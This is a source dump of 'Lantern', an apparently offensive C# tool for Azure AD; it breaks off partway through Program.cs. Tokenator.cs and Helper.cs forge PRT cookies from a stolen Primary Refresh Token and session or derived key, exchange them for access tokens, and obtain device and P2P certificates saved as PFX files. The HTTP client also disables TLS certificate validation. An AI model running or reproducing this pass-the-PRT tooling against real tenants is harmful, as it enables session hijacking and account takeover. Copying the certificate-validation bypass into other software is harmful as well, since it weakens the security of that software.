| # Telerik's JustMock configuration file 318 | *.jmconfig 319 | 320 | # BizTalk build output 321 | *.btp.cs 322 | *.btm.cs 323 | *.odx.cs 324 | *.xsd.cs 325 | 326 | # OpenCover UI analysis results 327 | OpenCover/ 328 | 329 | # Azure Stream Analytics local run output 330 | ASALocalRun/ 331 | 332 | # MSBuild Binary and Structured Log 333 | *.binlog 334 | 335 | # NVidia Nsight GPU debugger configuration file 336 | *.nvuser 337 | 338 | # MFractors (Xamarin productivity tool) working folder 339 | .mfractor/ 340 | 341 | # Local History for Visual Studio 342 | .localhistory/ 343 | 344 | # BeatPulse healthcheck temp database 345 | healthchecksdb 346 | 347 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 348 | MigrationBackup/ 349 | 350 | # Ionide (cross platform F# VS Code tools) working folder 351 | .ionide/ 352 | -------------------------------------------------------------------------------- /Lantern/Tokenator.cs: -------------------------------------------------------------------------------- 1 | using Lantern.Models; 2 | using Newtonsoft.Json; 3 | using Newtonsoft.Json.Linq; 4 | using System; 5 | using System.Collections.Generic; 6 | using System.Net.Http; 7 | using System.Text; 8 | 9 | namespace Lantern 10 | { 11 | class Tokenator 12 | { 13 | 14 | private static string RequestForPendingAuthentication(string code, string clientID, string proxy) 15 | { 16 | var formContent = new FormUrlEncodedContent(new[] 17 | { 18 | new KeyValuePair("code",code), 19 | new KeyValuePair("grant_type","urn:ietf:params:oauth:grant-type:device_code"), 20 | new KeyValuePair("client_id", clientID) 21 | }); 22 | 23 | return Helper.PostToTokenEndpoint(formContent, proxy); 24 | 25 | } 26 | 27 | private static string RequestDeviceCode(string clientid, string resourceid, string proxy) 28 | { 29 | var formContent = new FormUrlEncodedContent(new[] 30 | { 31 | new KeyValuePair("client_id", clientid), 32 | new KeyValuePair("resource", resourceid) 33 | }); 34 | return Helper.PostToDeviceCodeEndpoint(formContent, proxy); 35 | } 36 | 37 | private static string RequestP2PCertificate(string JWT, string tenant, string proxy) 38 | { 39 | var formContent = new FormUrlEncodedContent(new[] 40 | { 41 | new KeyValuePair("grant_type", "urn:ietf:params:oauth:grant-type:jwt-bearer"), 42 | new KeyValuePair("request", JWT) 43 | }); 44 | 45 | return Helper.PostToTokenEndpoint(formContent, proxy, tenant); 46 | } 47 | 48 | private static string AuthenticateWithClientIDandSecret(string clientID, string clientSecret, string tenant, string proxy, string ressourceId) 49 | { 50 | var formContent = new FormUrlEncodedContent(new[] 51 | { 52 | new KeyValuePair("grant_type", "client_credentials"), 53 | new KeyValuePair("client_id", clientID), 54 | new KeyValuePair(ressourceId, ressourceId), 55 | new KeyValuePair("client_secret", clientSecret) 56 | }); 57 | return Helper.PostToTokenEndpoint(formContent, proxy, tenant); 58 | } 59 | 60 | private static string AuthenticateWithUserNameAndPassword(string username, string password, string tenant, string proxy, string clientID, string ressourceId) 61 | { 62 | var formContent = new FormUrlEncodedContent(new[] 63 | { 64 | new KeyValuePair("grant_type", "password"), 65 | new KeyValuePair("scope", "openid"), 66 | new KeyValuePair("resource", ressourceId), 67 | new KeyValuePair("client_id", clientID), 68 | new KeyValuePair("username", username), 69 | new KeyValuePair("password", password) 70 | }); 71 | return Helper.PostToTokenEndpoint(formContent, proxy, tenant); 72 | } 73 | 74 | private static string AuthenticateWithRefreshTokenToTenant(string refreshToken, string tenant, string proxy, string clientID, string ressourceId) 75 | { 76 | var formContent = new FormUrlEncodedContent(new[] 77 | { 78 | new KeyValuePair("scope", "openid"), 79 | new KeyValuePair("grant_type", "refresh_token"), 80 | new KeyValuePair("client_id", clientID), 81 | new KeyValuePair("resource", ressourceId), 82 | new KeyValuePair("refresh_token", refreshToken) 83 | }); 84 | return Helper.PostToTokenEndpoint(formContent, proxy, tenant); 85 | } 86 | 87 | private static string AuthenticateWithRefreshToken(string refreshToken, string proxy, string clientID, string ressourceId) 88 | { 89 | var formContent = new FormUrlEncodedContent(new[] 90 | { 91 | new KeyValuePair("scope", "openid"), 92 | new KeyValuePair("grant_type", "refresh_token"), 93 | new KeyValuePair("resource", ressourceId), 94 | new KeyValuePair("client_id", clientID), 95 | new KeyValuePair("refresh_token", refreshToken) 96 | }); 97 | return Helper.PostToTokenEndpoint(formContent, proxy); 98 | } 99 | private static string AuthenticateWithCode(string code, string proxy, string clientID, string ressourceId) 100 | { 101 | var formContent = new FormUrlEncodedContent(new[] 102 | { 103 | new KeyValuePair("grant_type", "authorization_code"), 104 | new KeyValuePair("resource", ressourceId), 105 | new KeyValuePair("client_id", clientID), 106 | new KeyValuePair("redirect_uri", "urn:ietf:wg:oauth:2.0:oob"), 107 | new KeyValuePair("code", code) 108 | }); 109 | 110 | return Helper.PostToTokenEndpoint(formContent, proxy); 111 | } 112 | 113 | public static string GetP2PCertificate(string JWT, string tenant, string proxy) 114 | { 115 | string result; 116 | result = RequestP2PCertificate(JWT, tenant, proxy); 117 | return result; 118 | } 119 | 120 | public static string GetTokenFromPRTAndDerivedKey(string PRT, string DerivedKey, string Context, string Proxy, string clientID = "1b730954-1685-4b74-9bfd-dac224a7b894", string resourceID = "https://graph.windows.net") 121 | { 122 | string result = null; 123 | string prtCookie = Helper.createPRTCookie(PRT, Context, DerivedKey, Proxy); 124 | string code = Helper.getCodeFromPRTCookie(prtCookie, Proxy, resourceID, clientID); 125 | result = AuthenticateWithCode(code, Proxy, clientID, resourceID); 126 | return result; 127 | } 128 | 129 | public static string GetTokenFromPRTAndSessionKey(string PRT, string SessionKey, string Proxy, string clientID = "1b730954-1685-4b74-9bfd-dac224a7b894", string resourceID = "https://graph.windows.net") 130 | { 131 | string result = null; 132 | var context = Helper.GetByteArray(24); 133 | var decodedKey = Helper.Base64Decode(SessionKey); 134 | var derivedKey = Helper.CreateDerivedKey(decodedKey, context); 135 | 136 | var contextHex = Helper.Binary2Hex(context); 137 | var derivedSessionKeyHex = Helper.Binary2Hex(derivedKey); 138 | 139 | string prtCookie = Helper.createPRTCookie(PRT, contextHex, derivedSessionKeyHex, Proxy); 140 | string code = Helper.getCodeFromPRTCookie(prtCookie, Proxy, resourceID, clientID); 141 | result = AuthenticateWithCode(code, Proxy, clientID, resourceID); 142 | return result; 143 | } 144 | 145 | public static string GetTokenFromPRTCookie(string PRTCookie, string Proxy, string clientID = "1b730954-1685-4b74-9bfd-dac224a7b894", string resourceID = "https://graph.windows.net") 146 | { 147 | string result = null; 148 | string code = Helper.getCodeFromPRTCookie(PRTCookie, Proxy, resourceID, clientID); 149 | result = AuthenticateWithCode(code, Proxy, clientID, resourceID); 150 | return result; 151 | } 152 | 153 | public static string GetTokenFromRefreshToken(string RefreshToken, string Proxy, string clientID = "1b730954-1685-4b74-9bfd-dac224a7b894", string resourceID = "https://graph.windows.net") 154 | { 155 | string result = null; 156 | result = AuthenticateWithRefreshToken(RefreshToken, Proxy, clientID, resourceID); 157 | return result; 158 | } 159 | 160 | public static string GetTokenFromRefreshTokenToTenant(string RefreshToken, string Tenant, string Proxy, string clientID = "1b730954-1685-4b74-9bfd-dac224a7b894", string resourceID = "https://graph.windows.net") 161 | { 162 | string result = null; 163 | result = AuthenticateWithRefreshTokenToTenant(RefreshToken, Tenant, Proxy, clientID, resourceID); 164 | return result; 165 | } 166 | 167 | 168 | public static string GetTokenFromUsernameAndPassword(string Username, string Password, string Tenant, string Proxy, string clientID = "1b730954-1685-4b74-9bfd-dac224a7b894", string resourceID = "https://graph.windows.net") 169 | { 170 | string result = null; 171 | result = AuthenticateWithUserNameAndPassword(Username, Password, Tenant, Proxy, clientID, resourceID); 172 | return result; 173 | } 174 | 175 | public static string GetTokenWithClientIDAndSecret(string ClientID, string ClientSecret, string Tenant, string Proxy, string resourceID = "https://graph.windows.net") 176 | { 177 | string result = null; 178 | result = AuthenticateWithClientIDandSecret(ClientID, ClientSecret, Tenant, Proxy, resourceID); 179 | return result; 180 | } 181 | 182 | public static string GetTokenFromDeviceCode(string ClientID, string ResourceID, string Proxy) 183 | { 184 | string result = null; 185 | result = RequestDeviceCode(ClientID, ResourceID, Proxy); 186 | var InitDeviceCode = JsonConvert.DeserializeObject(result); 187 | Console.WriteLine(JToken.FromObject(InitDeviceCode).ToString(Formatting.Indented)); 188 | 189 | var SecondsToWait = InitDeviceCode.interval; 190 | int WaitedTime = 0; 191 | while (WaitedTime < InitDeviceCode.expires_in) 192 | { 193 | result = RequestForPendingAuthentication(InitDeviceCode.device_code, ClientID, Proxy); 194 | JToken parsedesults = JToken.Parse(result); 195 | if (parsedesults["error"] != null) 196 | { 197 | Console.WriteLine("[+] Response from Azure: " + parsedesults["error"]); 198 | }else 199 | { 200 | return result; 201 | } 202 | System.Threading.Thread.Sleep(SecondsToWait * 1000); 203 | WaitedTime += SecondsToWait; 204 | result = null; 205 | } 206 | return null; 207 | } 208 | 209 | public static string getToken(TokenOptions opts, string clientID = null, string resourceID = null) 210 | { 211 | string result = null; 212 | 213 | if (clientID == null && resourceID == null) 214 | { 215 | clientID = opts.ClientID; 216 | resourceID = opts.ResourceID; 217 | } 218 | 219 | if (opts.Devicecode) 220 | { 221 | result = GetTokenFromDeviceCode(clientID, resourceID, opts.Proxy); 222 | } 223 | else if (opts.PRT != null & opts.DerivedKey != null & opts.Context != null) 224 | { 225 | result = GetTokenFromPRTAndDerivedKey(opts.PRT, opts.DerivedKey, opts.Context, opts.Proxy, clientID, resourceID); 226 | } 227 | else if (opts.PRT != null & opts.SessionKey != null) 228 | { 229 | result = GetTokenFromPRTAndSessionKey(opts.PRT, opts.SessionKey, opts.Proxy, clientID, resourceID); 230 | } 231 | else if (opts.PrtCookie != null) 232 | { 233 | result = GetTokenFromPRTCookie(opts.PrtCookie, opts.Proxy, clientID, resourceID); 234 | } 235 | else if (opts.RefreshToken != null) 236 | { 237 | result = GetTokenFromRefreshTokenToTenant(opts.RefreshToken, opts.Tenant, opts.Proxy, clientID, resourceID); 238 | } 239 | else if (opts.UserName != null & opts.Password != null) 240 | { 241 | result = GetTokenFromUsernameAndPassword(opts.UserName, opts.Password, opts.Tenant, opts.Proxy, clientID, resourceID); 242 | } 243 | else if (opts.Tenant != null & opts.ClientID != null & opts.ClientSecret != null) 244 | { 245 | result = GetTokenWithClientIDAndSecret(opts.ClientID, opts.ClientSecret, opts.Tenant, opts.Proxy, opts.ResourceID); 246 | } 247 | else 248 | { 249 | Console.WriteLine("[-] Please set the corect arguments."); 250 | return null; 251 | } 252 | return result; 253 | } 254 | 255 | 256 | } 257 | } 258 | -------------------------------------------------------------------------------- /Lantern/Helper.cs: -------------------------------------------------------------------------------- 1 | using JWT; 2 | using JWT.Algorithms; 3 | using JWT.Serializers; 4 | using Lantern.Models; 5 | using Newtonsoft.Json; 6 | using Newtonsoft.Json.Linq; 7 | using System; 8 | using System.Collections.Generic; 9 | using System.Globalization; 10 | using System.Linq; 11 | using System.Net; 12 | using System.Net.Http; 13 | using System.Net.Http.Headers; 14 | using System.Text; 15 | 16 | namespace Lantern 17 | { 18 | class Helper 19 | { 20 | public static string getCodeFromPRTCookie(string cookie, string proxy, string resourceID = "https://graph.windows.net", string clientID = "1b730954-1685-4b74-9bfd-dac224a7b894") 21 | { 22 | String uri = string.Format(@"/Common/oauth2/authorize?resource={0}&client_id={1}&response_type={2}&haschrome={3}&redirect_uri={4}&client-request-id={5}&x-client-SKU={6}&x-client-Ver={7}&x-client-CPU={8}&x-client-OS={9}&site_id={10}&mscrid={11}", 23 | resourceID, 24 | clientID, 25 | "code", 26 | "1", 27 | "urn:ietf:wg:oauth:2.0:oob", 28 | //Guid.NewGuid(), 29 | "AAAAAAA", 30 | "PCL.Desktop", 31 | "3.19.7.16602", 32 | "x64", 33 | "Microsoft Windows NT 10.0.19569.0", 34 | "501358", 35 | Guid.NewGuid()); 36 | HttpClient client = getDefaultClient(proxy); 37 | using (client) 38 | { 39 | var message = new HttpRequestMessage(HttpMethod.Get, uri); 40 | String xcookie = "x-ms-RefreshTokenCredential=" + cookie; 41 | message.Headers.Add("Cookie", xcookie); 42 | var response = client.SendAsync(message).Result; 43 | if (response.StatusCode.Equals("200")) 44 | { 45 | Console.WriteLine("[-] Something went wrong, cannot fetch code with PRT cookie, maybe Conditional Access Policy blocks."); 46 | return null; 47 | } 48 | string location = ""; 49 | if (response.Headers.Contains("Location")) 50 | { 51 | location = response.Headers.Location.ToString(); 52 | } 53 | else 54 | { 55 | Console.WriteLine("[-] Something went wrong, cannot fetch code with PRT cookie, maybe Conditional Access Policy blocks."); 56 | return ""; 57 | } 58 | 59 | int startOf = location.IndexOf("code="); 60 | if (startOf == -1) 61 | { 62 | Console.WriteLine("[-] Something went wrong, cannot fetch code with PRT cookie, maybe Conditional Access Policy blocks."); 63 | return null; 64 | } 65 | int endOf = location.IndexOf("&", startOf + 5); 66 | int len = endOf - startOf; 67 | string code = location.Substring(startOf + 5, len - 5); 68 | client.Dispose(); 69 | return code; 70 | } 71 | } 72 | 73 | public static HttpClient getDefaultClient(String proxy = null, bool useCookies = true, String baseAdress = "https://login.microsoftonline.com") 74 | { 75 | HttpClientHandler handler = new HttpClientHandler(); 76 | if (proxy != null) 77 | { 78 | handler.Proxy = new WebProxy(proxy); 79 | handler.UseProxy = true; 80 | } 81 | 82 | handler.ClientCertificateOptions = ClientCertificateOption.Manual; 83 | handler.ServerCertificateCustomValidationCallback = 84 | (httpRequestMessage, cert, cetChain, policyErrors) => 85 | { 86 | return true; 87 | }; 88 | handler.AllowAutoRedirect = false; 89 | 90 | handler.UseCookies = useCookies; 91 | var client = new HttpClient(handler); 92 | client.BaseAddress = new Uri(baseAdress); 93 | client.DefaultRequestHeaders.Clear(); 94 | //client.DefaultRequestHeaders.Add("UA-CPU", "AMD64"); 95 | client.DefaultRequestHeaders.Add("User-Agent", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E)"); 96 | return client; 97 | 98 | } 99 | 100 | // https://stackoverflow.com/questions/1459006/is-there-a-c-sharp-equivalent-to-pythons-unhexlify 101 | public static byte[] Hex2Binary(string hex) 102 | { 103 | var chars = hex.ToCharArray(); 104 | var bytes = new List(); 105 | for (int index = 0; index < chars.Length; index += 2) 106 | { 107 | var chunk = new string(chars, index, 2); 108 | bytes.Add(byte.Parse(chunk, NumberStyles.AllowHexSpecifier)); 109 | } 110 | return bytes.ToArray(); 111 | } 112 | 113 | //https://stackoverflow.com/questions/311165/how-do-you-convert-a-byte-array-to-a-hexadecimal-string-and-vice-versa 114 | public static string Binary2Hex(byte[] ba) 115 | { 116 | return BitConverter.ToString(ba).Replace("-", ""); 117 | } 118 | 119 | //https://stackoverflow.com/questions/1228701/code-for-decoding-encoding-a-modified-base64-url 120 | public static byte[] Base64Decode(string arg) 121 | { 122 | string s = arg; 123 | s = s.Replace('-', '+'); // 62nd char of encoding 124 | s = s.Replace('_', '/'); // 63rd char of encoding 125 | switch (s.Length % 4) // Pad with trailing '='s 126 | { 127 | case 0: break; // No pad chars in this case 128 | case 2: s += "=="; break; // Two pad chars 129 | case 3: s += "="; break; // One pad char 130 | default: 131 | throw new System.Exception( 132 | "Illegal base64prt string!"); 133 | } 134 | return Convert.FromBase64String(s); // Standard base64 decoder 135 | } 136 | 137 | public static string Base64UrlEncode(byte[] arg) 138 | { 139 | string s = Convert.ToBase64String(arg); // Regular base64 encoder 140 | s = s.Split('=')[0]; // Remove any trailing '='s 141 | s = s.Replace('+', '-'); // 62nd char of encoding 142 | s = s.Replace('/', '_'); // 63rd char of encoding 143 | return s; 144 | } 145 | 146 | public static string createPRTCookie(string prt, string context, string derived_sessionkey, string proxy, byte[] contextBytes = null, byte[] sessionKeyBytes = null) 147 | { 148 | 149 | string nonce = getNonce(proxy); 150 | 151 | byte[] data = Base64Decode(prt); 152 | 153 | string prtdecoded = Encoding.UTF8.GetString(data); 154 | 155 | var payload = new Dictionary 156 | { 157 | { "refresh_token", prtdecoded }, 158 | { "is_primary", "true" }, 159 | { "request_nonce", nonce } 160 | }; 161 | 162 | Dictionary header = null; 163 | if (context != null) 164 | { 165 | header = new Dictionary 166 | { 167 | { "ctx", Hex2Binary(context) } 168 | }; 169 | } 170 | else 171 | { 172 | header = new Dictionary 173 | { 174 | { "ctx", contextBytes } 175 | }; 176 | } 177 | IJwtAlgorithm algorithm = new HMACSHA256Algorithm(); // symmetric 178 | IJsonSerializer serializer = new JsonNetSerializer(); 179 | IBase64UrlEncoder urlEncoder = new JwtBase64UrlEncoder(); 180 | IJwtEncoder encoder = new JwtEncoder(algorithm, serializer, urlEncoder); 181 | 182 | byte[] sdata = null; 183 | if (derived_sessionkey != null) 184 | { 185 | string secret = derived_sessionkey.Replace(" ", ""); 186 | sdata = Hex2Binary(secret); 187 | } else 188 | { 189 | sdata = sessionKeyBytes; 190 | } 191 | var cookie = encoder.Encode(header, payload, sdata); 192 | return cookie; 193 | } 194 | 195 | public static string signJWT(Dictionary header, Dictionary payload, string key) 196 | { 197 | IJwtAlgorithm algorithm = new HMACSHA256Algorithm(); // symmetric 198 | IJsonSerializer serializer = new JsonNetSerializer(); 199 | IBase64UrlEncoder urlEncoder = new JwtBase64UrlEncoder(); 200 | IJwtEncoder encoder = new JwtEncoder(algorithm, serializer, urlEncoder); 201 | string secret = key.Replace(" ", ""); 202 | byte[] sdata = Hex2Binary(secret); 203 | return encoder.Encode(header, payload, sdata); 204 | } 205 | 206 | public static String getNonce(string proxy) 207 | { 208 | using (var client = getDefaultClient(proxy)) 209 | { 210 | String uri = string.Format(@"/Common/oauth2/authorize?client_id={0}", "1b730954-1685-4b74-9bfd-dac224a7b894"); 211 | var response = client.GetAsync(uri).Result; 212 | var responseContent = response.Content; 213 | string responseString = responseContent.ReadAsStringAsync().Result; 214 | int startOf = responseString.IndexOf("\"nonce\":\""); 215 | int endOf = responseString.IndexOf("\"", startOf + 9); 216 | int len = endOf - startOf; 217 | string nonce = responseString.Substring(startOf + 9, len - 9); 218 | client.Dispose(); 219 | return nonce; 220 | } 221 | } 222 | 223 | 224 | private static string PostTo(string uri, FormUrlEncodedContent formContent, string proxy) 225 | { 226 | using (var message = new HttpRequestMessage(HttpMethod.Post, uri)) 227 | using (var client = Helper.getDefaultClient(proxy, false)) 228 | { 229 | //message.Headers.Add("client-request-id", Guid.NewGuid().ToString()); 230 | //message.Headers.Add("return-client-request-id", "true"); 231 | message.Content = formContent; 232 | var response = client.SendAsync(message).Result; 233 | var result = response.Content.ReadAsStringAsync().Result; 234 | return result; 235 | } 236 | } 237 | 238 | private static string GetFrom(string uri, string proxy) 239 | { 240 | using (var message = new HttpRequestMessage(HttpMethod.Get, uri)) 241 | using (var client = Helper.getDefaultClient(proxy, false)) 242 | { 243 | var response = client.SendAsync(message).Result; 244 | var result = response.Content.ReadAsStringAsync().Result; 245 | return result; 246 | } 247 | } 248 | 249 | public static int PatchRequest(string uri, string accesstoken, string proxy) 250 | { 251 | using(var content = new StringContent("{}", Encoding.UTF8, "application/json")) 252 | using (var message = new HttpRequestMessage(HttpMethod.Patch, uri)) 253 | using (var client = Helper.getDefaultClient(proxy, false, "https://graph.windows.net")) 254 | { 255 | message.Headers.Authorization = new AuthenticationHeaderValue("Bearer", accesstoken); 256 | message.Content = content; 257 | var response = client.SendAsync(message).Result; 258 | return (int)response.StatusCode; 259 | } 260 | } 261 | 262 | public static string GetOpenIDConfiguration(string domain, string proxy) 263 | { 264 | string uri = "/" + domain + "/.well-known/openid-configuration"; 265 | return GetFrom(uri,proxy); 266 | } 267 | 268 | public static string PostToDeviceCodeEndpoint(FormUrlEncodedContent formContent, string proxy) 269 | { 270 | string uri = "/common/oauth2/devicecode"; 271 | return PostTo(uri, formContent, proxy); 272 | } 273 | 274 | public static string PostToTokenEndpoint(FormUrlEncodedContent formContent, string proxy, string tenant = null) 275 | { 276 | string uri = "/common/oauth2/token"; 277 | if (tenant != null) 278 | { 279 | uri = "/" + tenant + "/oauth2/token"; 280 | } 281 | return PostTo(uri, formContent, proxy); 282 | } 283 | 284 | public static string GetNonce2(string proxy) 285 | { 286 | var formContent = new FormUrlEncodedContent(new[] 287 | { 288 | new KeyValuePair("grant_type", "srv_challenge") 289 | }); 290 | string result = PostToTokenEndpoint(formContent, proxy); 291 | JToken parsedNonce = JToken.Parse(result); 292 | return parsedNonce["Nonce"].ToString(); 293 | } 294 | 295 | public static string GetTenantFromAccessToken(string accesstoken) 296 | { 297 | return GetInfoFromBase64JSON(accesstoken, "tid"); 298 | } 299 | 300 | public static string GetAudienceFromAccessToken(string accesstoken) 301 | { 302 | return GetInfoFromBase64JSON(accesstoken, "aud"); 303 | } 304 | public static string getUPNFromAccessToken(string accesstoken) 305 | { 306 | return GetInfoFromBase64JSON(accesstoken, "upn"); 307 | } 308 | 309 | public static string GetInfoFromBase64JSON(string jsonString, string info) 310 | { 311 | var serializer = new JsonNetSerializer(); 312 | var urlEncoder = new JwtBase64UrlEncoder(); 313 | var decoder = new JwtDecoder(serializer, urlEncoder); 314 | string decodedaccesstoken = decoder.Decode(jsonString); 315 | JToken parsedAccessToken = JToken.Parse(decodedaccesstoken); 316 | return parsedAccessToken[info].ToString(); 317 | } 318 | 319 | public static byte[] GetByteArray(int size) 320 | { 321 | Random rnd = new Random(); 322 | byte[] b = new byte[size]; // convert kb to byte 323 | rnd.NextBytes(b); 324 | return b; 325 | } 326 | 327 | public static byte[] CombineByteArrays(byte[] first, byte[] second) 328 | { 329 | return first.Concat(second).ToArray(); 330 | } 331 | 332 | public static byte[] CreateDerivedKey(byte[] sessionKey, byte[] context) 333 | { 334 | byte[] sessionKeyBytes = sessionKey; 335 | byte[] contextBytes = context; 336 | byte[] label = System.Text.Encoding.UTF8.GetBytes("AzureAD-SecureConversation"); 337 | 338 | var first = new byte[]{ 0x00, 0x00, 0x00, 0x01 }; 339 | var second = new byte[] { 0x00 }; 340 | var third = new byte[] { 0x00, 0x00, 0x01, 0x00 }; 341 | 342 | var value = CombineByteArrays(first, label); 343 | value = CombineByteArrays(value, second); 344 | value = CombineByteArrays(value, contextBytes); 345 | value = CombineByteArrays(value, third); 346 | 347 | var hmac = new System.Security.Cryptography.HMACSHA256(sessionKeyBytes); 348 | 349 | return hmac.ComputeHash(value); 350 | } 351 | 352 | public static byte[] ConvertToByteArray(string str, Encoding encoding) 353 | { 354 | return encoding.GetBytes(str); 355 | } 356 | 357 | public static String ToBinary(Byte[] data) 358 | { 359 | return string.Join(" ", data.Select(byt => Convert.ToString(byt, 2).PadLeft(8, '0'))); 360 | } 361 | } 362 | } 363 | -------------------------------------------------------------------------------- /Lantern/Program.cs: -------------------------------------------------------------------------------- 1 | using CommandLine; 2 | using CommandLine.Text; 3 | using JWT; 4 | using JWT.Serializers; 5 | using Newtonsoft.Json; 6 | using Newtonsoft.Json.Linq; 7 | using System; 8 | using System.Collections.Generic; 9 | using System.IO; 10 | using System.Net.Http; 11 | using System.Security.Cryptography; 12 | using System.Security.Cryptography.X509Certificates; 13 | using System.Text; 14 | 15 | namespace Lantern 16 | { 17 | 18 | 19 | 20 | class Program 21 | { 22 | static void PrintBanner() 23 | { 24 | String banner = @" 25 | .____ __ 26 | | | _____ _____/ |_ ___________ ____ 27 | | | \__ \ / \ __\/ __ \_ __ \/ \ 28 | | |___ / __ \| | \ | \ ___/| | \/ | \ 29 | |_______ (____ /___| /__| \___ >__| |___| / 30 | \/ \/ \/ \/ \/ "; 31 | Console.WriteLine(""); 32 | Console.WriteLine(banner); 33 | Console.WriteLine(""); 34 | } 35 | 36 | 37 | static int DisplayHelp(ParserResult parserResult) 38 | { 39 | Console.WriteLine(HelpText.AutoBuild(parserResult, h => { 40 | h.AdditionalNewLineAfterOption = false; 41 | h.Heading = "Lantern 0.0.1-alpha"; //change header 42 | h.Copyright = ""; //change copyright text 43 | return h; 44 | })); 45 | return 1; 46 | } 47 | 48 | static int Main(string[] args) 49 | { 50 | PrintBanner(); 51 | var parserResult = new Parser(c => c.HelpWriter = null).ParseArguments(args); 52 | return parserResult.MapResult( 53 | (P2POptions options) => RunP2PAction(options), 54 | (DeviceKeyOptions options) => RunDeviceKeys(options), 55 | (DeviceOptions options) => RunDevice(options), 56 | (NonceOptions options) => RunNonce(options), 57 | (CookieOptions options) => RunCookie(options), 58 | (TokenOptions options) => RunToken(options), 59 | (UtilsOptions options) => RunUtils(options), 60 | errs => DisplayHelp(parserResult) 61 | ); 62 | } 63 | 64 | private static int RunP2PAction(P2POptions opts) 65 | { 66 | String result = null; 67 | RSA rsa; 68 | if (opts.PRT != null && opts.Context != null && opts.DerivedKey != null && opts.Tenant != null && opts.UserName != null) 69 | { 70 | rsa = new RSACng(2048); 71 | string CN = "CN=" + opts.UserName; 72 | CertificateRequest req = new System.Security.Cryptography.X509Certificates.CertificateRequest(CN, rsa, System.Security.Cryptography.HashAlgorithmName.SHA256, System.Security.Cryptography.RSASignaturePadding.Pkcs1); 73 | var csr = Convert.ToBase64String(req.CreateSigningRequest()); 74 | string nonce = Helper.GetNonce2(opts.Proxy); 75 | 76 | var ctx = Helper.Hex2Binary(opts.Context); 77 | Dictionary headerRaw = new Dictionary 78 | { 79 | { "ctx", ctx } 80 | }; 81 | 82 | byte[] data = Helper.Base64Decode(opts.PRT); 83 | string prtdecoded = Encoding.UTF8.GetString(data); 84 | 85 | Dictionary payload = new Dictionary 86 | { 87 | { "iss", "aad:brokerplugin" }, 88 | { "aud", "login.microsoftonline.com" }, 89 | { "grant_type", "refresh_token" }, 90 | { "request_nonce", nonce }, 91 | { "scope", "openid aza ugs" }, 92 | { "refresh_token", prtdecoded }, 93 | { "client_id", AzClientIDEnum.WindowsClient }, 94 | { "cert_token_use", "user_cert" }, 95 | { "csr_type", "http://schemas.microsoft.com/windows/pki/2009/01/enrollment#PKCS10" }, 96 | { "csr", csr } 97 | }; 98 | 99 | var JWT = Helper.signJWT(headerRaw, payload, opts.DerivedKey); 100 | result = Tokenator.GetP2PCertificate(JWT, opts.Tenant, opts.Proxy); 101 | 102 | } 103 | else if (opts.PFXPath != null && opts.Tenant != null && opts.DeviceName != null) 104 | { 105 | 106 | X509Certificate2 cert = new X509Certificate2(opts.PFXPath, opts.PFXPassword, X509KeyStorageFlags.Exportable); 107 | rsa = cert.GetRSAPrivateKey(); 108 | var x5c = Convert.ToBase64String(cert.Export(X509ContentType.Cert)); 109 | var CN = cert.Subject; 110 | CertificateRequest req = new CertificateRequest(CN, rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1); 111 | var csr = Convert.ToBase64String(req.CreateSigningRequest()); 112 | 113 | string nonce = Helper.GetNonce2(opts.Proxy); 114 | 115 | Dictionary headerRaw = new Dictionary 116 | { 117 | { "alg", "RS256" }, 118 | { "typ", "JWT" }, 119 | { "x5c", x5c } 120 | }; 121 | 122 | string headerRawString = JsonConvert.SerializeObject(headerRaw, Formatting.None); 123 | var header = Helper.Base64UrlEncode(System.Text.Encoding.UTF8.GetBytes(headerRawString)); 124 | 125 | var dnsNames = new List(); 126 | dnsNames.Add(opts.DeviceName); 127 | 128 | Dictionary rawPayload = new Dictionary 129 | { 130 | { "request_nonce", nonce }, 131 | { "win_ver", "10.0.18363.0" }, 132 | { "grant_type", "device_auth" }, 133 | { "cert_token_use", "device_cert" }, 134 | { "client_id", AzClientIDEnum.WindowsClient }, 135 | { "csr_type", "http://schemas.microsoft.com/windows/pki/2009/01/enrollment#PKCS10" }, 136 | { "csr", csr }, 137 | { "netbios_name", "JuniTest" }, 138 | { "dns_names", dnsNames } 139 | }; 140 | 141 | string rawPayloadString = JsonConvert.SerializeObject(rawPayload, Formatting.None); 142 | var payload = Helper.Base64UrlEncode(System.Text.Encoding.UTF8.GetBytes(rawPayloadString)); 143 | 144 | var dataBin = System.Text.Encoding.UTF8.GetBytes(header + "." + payload); 145 | 146 | var signature = rsa.SignData(dataBin, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1); 147 | var signatureb64 = Helper.Base64UrlEncode(signature); 148 | 149 | var JWT = header + "." + payload + "." + signatureb64; 150 | 151 | result = Tokenator.GetP2PCertificate(JWT, opts.Tenant, opts.Proxy); 152 | } 153 | else 154 | { 155 | Console.WriteLine("[-] Use --prt --derivedkey --context --tenant --username or with --pfxpath --tenant --devicename.... Other methods are not implemented yet..."); 156 | return 1; 157 | } 158 | 159 | if (result != null) 160 | { 161 | JToken parsedResult = JToken.Parse(result); 162 | 163 | var binCert = Convert.FromBase64String(parsedResult["x5c"].ToString()); 164 | 165 | X509Certificate2 cert = new X509Certificate2(binCert, "", X509KeyStorageFlags.PersistKeySet | X509KeyStorageFlags.Exportable); 166 | string deviceId = cert.Subject.Split("=")[1]; 167 | deviceId = deviceId.Split(",")[0]; 168 | var keyPair = cert.CopyWithPrivateKey(rsa); 169 | byte[] certData = keyPair.Export(X509ContentType.Pfx, ""); 170 | File.WriteAllBytes(deviceId + "-P2P.pfx", certData); 171 | 172 | String certHeader = "-----BEGIN PUBLIC KEY-----\n"; 173 | String certend = "\n-----END PUBLIC KEY-----"; 174 | 175 | string caCert = certHeader + parsedResult["x5c_ca"].ToString() + certend; 176 | File.WriteAllText(deviceId + "-P2P-CA.der", caCert); 177 | 178 | Console.WriteLine(); 179 | Console.WriteLine("[+] Subject: " + cert.Subject); 180 | Console.WriteLine("[+] Issuer: " + cert.Issuer); 181 | Console.WriteLine("[+] CA file name: " + deviceId + "-P2P-CA.der"); 182 | Console.WriteLine("[+] PFX file name: " + deviceId + "-P2P.pfx"); 183 | return 0; 184 | } 185 | return 1; 186 | } 187 | 188 | static int RunDeviceKeys(DeviceKeyOptions opts) 189 | { 190 | String refreshtoken = null; 191 | string tenantId = null; 192 | var serializer = new JsonNetSerializer(); 193 | var urlEncoder = new JwtBase64UrlEncoder(); 194 | var decoder = new JwtDecoder(serializer, urlEncoder); 195 | if 